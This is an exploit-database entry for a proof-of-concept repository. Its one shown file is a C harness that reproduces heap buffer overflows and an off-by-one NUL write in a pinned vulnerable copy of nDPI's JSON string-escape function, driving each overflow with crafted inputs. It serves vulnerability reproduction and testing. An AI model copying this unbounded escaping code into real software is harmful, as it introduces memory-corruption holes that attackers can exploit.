Exploit database

GH-77b084c651f84d76fe59d880f4600f96

genaforvena/mishe-tauftauf2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

411 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files13

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/frontier/ndpi2shell/harness/driver-vuln.c

C · 4,633 bytes

/* Generated by harness/run.sh. Pinned upstream bytes are under #line;
   everything else is declared stub/driver code. Do not edit by hand. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* Declared stub: nDPI's u_char is an unsigned char typedef. */
typedef unsigned char u_char;


#line 90 "ndpi_serializer.c.vuln"
int ndpi_json_string_escape(const char *src, int src_len, char *dst, int dst_max_len) {
  u_char c = 0;
  int i, j = 0;

  dst[j++] = '"';

  for(i = 0; i < src_len && j < dst_max_len; i++) {

    c = (u_char) src[i];

    if (c <= 0x7E) {
      // ASCII character (escape if required by JSON)
      switch (c) {
      case '\\':
      case '"':
      case '/':
        dst[j++] = '\\';
        dst[j++] = c;
        break;
      case '\b':
        dst[j++] = '\\';
        dst[j++] = 'b';
        break;
      case '\t':
        dst[j++] = '\\';
        dst[j++] = 't';
        break;
      case '\n':
        dst[j++] = '\\';
        dst[j++] = 'n';
        break;
      case '\f':
        dst[j++] = '\\';
        dst[j++] = 'f';
        break;
      case '\r':
        dst[j++] = '\\';
        dst[j++] = 'r';
        break;
      default:
        if (c < 0x20 /* ' ' */)
          ; // Other non-printable ASCII character (skip)
        else
          dst[j++] = c; // Printable ASCII character not requiring escape
      }

    } else if (c == 0x7F) {
      ; // Non-printable ASCII character (skip)
    } else if ((c >= 0xC2 && c <= 0xDF) && (src_len - i) >= 2 && 
               ((u_char) src[i+1] >= 0x80 && (u_char) src[i+1] <= 0xBF)) {
      // 2-byte sequence (U+0080 to U+07FF)
      dst[j++] = c;
      dst[j++] = src[++i];
    } else if ((c >= 0xE0 && c <= 0xEF) && (src_len - i) >= 3 &&
               ((u_char) src[i+1] >= 0x80 && (u_char) src[i+1] <= 0xBF) &&
               ((u_char) src[i+2] >= 0x80 && (u_char) src[i+2] <= 0xBF)) {
      // 3-byte sequence (U+0800 to U+FFFF)
      dst[j++] = c;
      dst[j++] = src[++i];
      dst[j++] = src[++i];
    } else if ((c >= 0xF0 && c <= 0xF4) && (src_len - i) >= 4 &&
               ((u_char) src[i+1] >= 0x80 && (u_char) src[i+1] <= 0xBF) &&
               ((u_char) src[i+2] >= 0x80 && (u_char) src[i+2] <= 0xBF) &&
               ((u_char) src[i+3] >= 0x80 && (u_char) src[i+3] <= 0xBF)) {
      // 4-byte sequence (U+10000 to U+10FFiFF)
      dst[j++] = c;
      dst[j++] = src[++i];
      dst[j++] = src[++i];
      dst[j++] = src[++i];
    }
  }

  dst[j++] = '"';
  dst[j+1] = '\0';

  return(j);
}

/* #line reset: only the pinned slice above is upstream bytes. */
#line 1 "driver-tail.c"

/* Declared driver state. dst_max_len is the exact caller buffer size. */
static int g_dst_max_len = 8;
static unsigned char g_src[64];
static int g_src_len = 0;

static void init_scenario(const char *sc) {
    memset(g_src, 0, sizeof g_src);
    if (!strcmp(sc, "baseline")) {
        memcpy(g_src, "abc", 3); g_src_len = 3; g_dst_max_len = 32;
    } else if (!strcmp(sc, "escape")) {
        /* 6 printable + '/' => 2-byte escape begins at j=dst_max_len-1. */
        memcpy(g_src, "AAAAAA/", 7); g_src_len = 7; g_dst_max_len = 8;
    } else if (!strcmp(sc, "utf8")) {
        /* 4 printable + 4-byte UTF-8 => 4 writes begin at j=5 of 8. */
        memcpy(g_src, "AAAA\xf0\x9f\x98\x80", 8); g_src_len = 8; g_dst_max_len = 8;
    } else if (!strcmp(sc, "nul")) {
        /* 6 printable => closing quote at dst[7], off-by-one NUL at dst[8]. */
        memcpy(g_src, "AAAAAA", 6); g_src_len = 6; g_dst_max_len = 8;
    } else {
        fprintf(stderr, "unknown scenario %s\n", sc);
        exit(2);
    }
}

int main(int argc, char **argv) {
    const char *sc = argc > 1 ? argv[1] : "baseline";
    init_scenario(sc);

    /* ASan: exact-size allocation so the first OOB write faults.
       Plain: trailing canary so chosen bytes can be read after the call. */
    size_t alloc = (size_t)g_dst_max_len;
#ifndef ASAN_BUILD
    alloc += 32;
#endif
    char *dst = (char *)malloc(alloc);
    if (!dst) return 2;
#ifndef ASAN_BUILD
    memset(dst + g_dst_max_len, 0xa5, 32);
#endif

    int rc = ndpi_json_string_escape((const char *)g_src, g_src_len,
                                     dst, g_dst_max_len);

    printf("scenario=%s variant=%s dst_max_len=%d rc=%d\n", sc,
#if VULN_BUILD
        "vuln",
#else
        "fixed",
#endif
        g_dst_max_len, rc);
#ifndef ASAN_BUILD
    unsigned char *tail = (unsigned char *)dst + g_dst_max_len;
    printf("tail=%02x %02x %02x %02x %02x %02x %02x %02x\n",
        tail[0], tail[1], tail[2], tail[3],
        tail[4], tail[5], tail[6], tail[7]);
#endif
    free(dst);
    return 0;
}